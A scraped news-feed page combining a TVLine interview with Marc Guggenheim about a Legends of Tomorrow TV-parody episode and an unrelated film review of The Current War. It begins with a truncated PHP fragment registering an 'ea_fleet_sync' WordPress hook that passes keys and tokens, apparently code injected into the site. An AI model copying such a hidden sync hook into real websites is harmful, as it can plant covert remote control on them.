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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Inventive – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 25 May 2020 14:23:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Inventive – Brief News https://briefnews.eu 32 32 Legends: Marc Guggenheim Previews ‘Inventive’ Trip Through TV History, Dominic Purcell’s Khan Impression https://briefnews.eu/legends-marc-guggenheim-previews-inventive-trip-through-tv-history-dominic-purcells-khan-impression/ https://briefnews.eu/legends-marc-guggenheim-previews-inventive-trip-through-tv-history-dominic-purcells-khan-impression/#respond Mon, 25 May 2020 14:23:59 +0000 https://briefnews.eu/legends-marc-guggenheim-previews-inventive-trip-through-tv-history-dominic-purcells-khan-impression/ Legends of Tomorrow has gone to the past, to the future, and now it’s going inside the tube: On Tuesday’s episode (The CW, 9/8c), Charlie scatters her Waverider teammates throughout various TV shows to protect them from her sisters’ wrath.

The installment marks the television directorial debut of former Arrow EP/current Legends consulting producer Marc Guggenheim, who was given the challenge of not only creating homages to Friends, Star Trek and Downton Abbey, but also had to figure out how not to crack up while shooting the hilarious hour. (Believe me, that’s a very tall task when you’re watching Dominic Purcell channel Khan!)

Below, Guggenheim details the old-school touches he brought to the “inventive” and heartfelt episode, and previews the difficult choice the Legends will face.

TVLINE | Of all the Arrowverse shows, what made Legends the right fit for your directorial debut? Was it just about timing, or was there something specifically about the show itself that made you want to direct it?
It was a little bit about timing. I never really wanted to direct Arrow. I’ve always sort of felt that Arrow is not a show that first-time directors should do — and that’s not to say that we haven’t had first-time directors on Arrow. But just the nature of the show, the nature of the action, it’s not a starter show, and I’ve been saying that, basically, for eight years. It would have been highly hypocritical of me to suddenly direct my first episode [on] Arrow. In Legends, obviously, I’ve worked on and have a closer connection to that show than I do the other shows, so it just made the most sense. Also, with Legends, I knew what kind of support system I would have there.

Legends of Tomorrwo Downton AbbeyTVLINE | As a producer, having some insight into what’s happening on the show, did you handpick this episode? Or was it just random that you got something so magical?
Honestly, the only thing I handpicked was the slot. I wanted to pick an episode that was as far away from “Crisis on Infinite Earths” as I could get, because I didn’t want to be still working post [production] on “Crisis” and directing my first episode of television. As it turns out, there was a little bit of overlap. I did review some visual effects shots for “Crisis” while I was working on this episode.

I said to the writers, “Can you make it easy, please, like a clip show or something?” and then they gave me this, which was definitely throwing me in the deep end of the pool, but I really could not have asked for a better script. I wasn’t quite sure how tempted I would be to rewrite or do any sort of writing work on a script that I directed, and what was so great about the script that Grainne [Godfree] and James [Eagan] wrote was that I was never even tempted. From the very first draft, it was just a fantastic piece of writing. It was inventive, and it was fun, and it had heart to it. It was everything you could ask for in a script, including a huge intimidation factor, because when a script comes in that good, your first instinct is, “I have to make sure I don’t screw it up.”

TVLINE | What can you say about the TV show parodies that we’re going to see in this episode?
It’s Friends, Star Trek [and] Downton Abbey, with a bit of Mr. Rogers’ Neighborhood thrown in for good measure. What was so much fun about working on these little homages was we shot each one true to the spirit of those individual shows. For example, for Friends, the art department created a set that was like the proscenium, multi-camera set for a half-hour comedy, and we shot it like a multi-cam half-hour. We had three cameras working, and we staged it like you would stage an episode of Friends. With Downton Abbey, we favored long lenses, and when we’re in the kitchen with the servants, we go handheld.

With Star Trek, it’s a lot of dollies and sort of dramatic push-ins. So we really tried to not just make it look like the individual shows, but really make them feel [like the shows]. In fact, with Star Trip, we even shot the spaceships practically. We did miniatures instead of our normal CGI. So we built a Romulan ship, and we built the Faterider, and then we did a whole day of shooting against green screen. We did the old-school technique that, I think, ILM developed for Star Wars, where you move the camera, not the ships, and it creates the illusion that the ship is moving. So we brought out all the old-school techniques.

TVLINE | When you’re directing an episode like this that is so humorous, is it hard to keep a straight face on set? Was there a particular moment that you were just like dying?
So, so many times! Honestly, so many times. The truth of the matter is, a lot of times, if you looked over at me, I had both my hands over my mouth to make sure that I wouldn’t be audibly laughing. Or even, a lot of times, the actors are so great, you want to just yell out, “Yes!” or exclaim just how good this is, like you want to kind of squeal with delight. So it’s a quality problem, but it’s definitely one of the harder aspects of directing a show like this.

Legends of Tomorrow Star TrekTVLINE | I couldn’t decide what was more wonderful: Caity Lotz’s Shatner impression or Dominic Purcell as Khan.
The funny thing about Dom is — and I think they’re both amazing — he’s actually never seen Wrath of Khan. So what you’re seeing there is his impression of my impression of Ricardo Montalbán. Everyone in the cast really absorbed and took to their parts like a duck to water, but Dom, he’s got the Khan bare chest outfit with the long, flowing hair, and he was just having the time of his life. It was really great to see. That’s the great thing about the Legends cast is there’s nothing off-limits. They tackle everything with absolute abandon.

TVLINE | As amusing as this episode is, it’s not just a one-off, funny Episode of the Week. How does it move the story arcs forward?
I think the last three episodes of the season are kind of a trilogy. Episode 13 leads into [Episode] 14, [which] leads into [Episode] 15. Without giving anything away, it says a lot about the relationship that Charlie has with the Legends and the relationship the Legends have with themselves. And in this episode, all the characters have to make a very sort of personal choice. It’s the classic hero’s journey choice of, “Do I live It’s a Wonderful Life, or do I accept reality and all the burdens and consequences that that brings?”

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The last thing cinema needs right now is another movie about a brilliant man whose brilliance is expressed through being a stubborn jerk. We already have a wealth of these artist as needlessly mean, antisocial guy portraits, and to keep adding more at this point goes well beyond beating a dead horse.

But Me and Earl and the Dying Girl director Alfonso Gomez-Rejon manages to get some great milage by taking such a setup and approaching it through a deconstructed lense with The Current War. The brilliant jerk in question this time is none other than the Wizard of Menlo Park himself, Thomas Edison. Edison, that brilliant inventor and sometimes thief, is played by Benedict Cumberbatch, an actor who has made almost an entire career playing brilliant jerks. It’s typecasting to the nth degree, but it also works. Cumberbatch brings an amusing, detached air to Edison, playing the genius as an overly competitive, short-tempered savant who wants to slap his name on everything.

As The Current War opens, “the world is still lit by fire”, as a helpful title card informs us. Edison is about to change all that with his famous lightbulbs and his soon-to-be-famous direct current. With money provided by J.P. Morgan (Matthew Macfadyen), Edison is able to electrify New York and set in motion a plan to light up the entire country.

This is potentially bad news for George Westinghouse (Michael Shannon). Westinghouse has interests in the gas that people have been using for lamps to light their homes, and Edison electrifying the land could put him out of business. But Westinghouse is a practical man; he decides that if he can’t beat Edison, why not join him? His plan is to electrify a town on his own, using alternating current instead of direct. Westinghouse assumes that Edison will be practical and want to merge interests when he sees what Westinghouse can do. But Edison is not a practical man. He sees Westinghouse’s move as a slight, and a battle over electricity begins.

This scenario has all the makings of your standard biopic melodrama, but The Current War takes a different path. The screenplay by Michael Mitnick is surprisingly funny, giving all the actors – Shannon in particular – ample opportunity for dry humor. Mitnick’s script also keeps changing the narrative, introducing new characters and subplots that broaden the scope of the story, giving us a portrait not just of Edison and Westinghouse but also the world and society they existed in. The script also introduces inventor Nikola Tesla (Nicholas Hoult), who briefly works for Edison before striking out on his own after Edison fails to truly realize his brilliance. 

The Current War initially seems like it’ll be something of a hagiography of Edison. Early scenes feature Edison lovingly interacting with his wife (Tuppence Middleton) and children. But then Edison stands-up a polite dinner offer from Westinghouse, and little by little the film reveals what an unpleasant, manipulative creep the great inventor can be. Edison feeds the newspapers negative press about Westinghouse’s alternating current, claiming that it’s dangerous and lethal. When no one buys it, Edison takes things to the next level and begins using alternating current to electrocute animals to death.

These animal executions lead government representatives to come to Edison to help them build a more humane form of capital punishment. Edison refuses at first, but when he realizes he can turn this situation into more negative press for Westinghouse, he changes his mind.

Shannon plays Westinghouse as a good man who can’t make sense of Edison’s motives. Gomez-Rejon uses a neat trick to set-up how sharp Westinghouse is, giving us our first glance at him at a party where he’s introduced to a room full of people and easily remembers all of their names at once. It will likely not surprise anyone to learn that Shannon gives the film’s best performance, bringing a warmth and humanity but also a deep drive to succeed to the character.

Cumberbatch is good, too, although at this point he can play this type of character in his sleep. Still, it’s fun to watch the actor sink his teeth into the part. Katherine Waterston is sadly underused as Westinghouse’s supportive wife Marguerite . To the film’s credit, it keeps trying to inject Marguerite into the story rather than sideline her, but there’s never enough for her to do. The same can be said for Hoult’s Tesla, who is introduced early in the film and set-up to be a major player, but mostly recedes into the background. 

Gomez-Rejon injects The Current War with a crackling visual style, full of frame-filling close-ups, cross-sectional shots inside buildings, rotating camera shots and more. The film never really sits still, which greatly improves the overall experience. Some of the most visually successful moments come when people are being introduced to electric light for the first time in their lives – something we consider utterly mundane now is given an air of magic. All of this comes courtesy of cinematographer Chung-hoon Chung, who also shot the recent It. On top of it all is a killer, electronic-based score from Volker Bertelmann and Dustin O’Halloran.

The Current War may not break new ground, but it finds exciting ways to make the old seem new. It runs out of steam near the end, beginning to lag and continuing on well past a scene that would’ve made for a perfect ending. But this is an inventive film about inventors. “There’s a way to do it better – find it,” Edison said. The Current War finds a (mostly) better way to tell a familiar story.

/Film Rating: 6 out of 10

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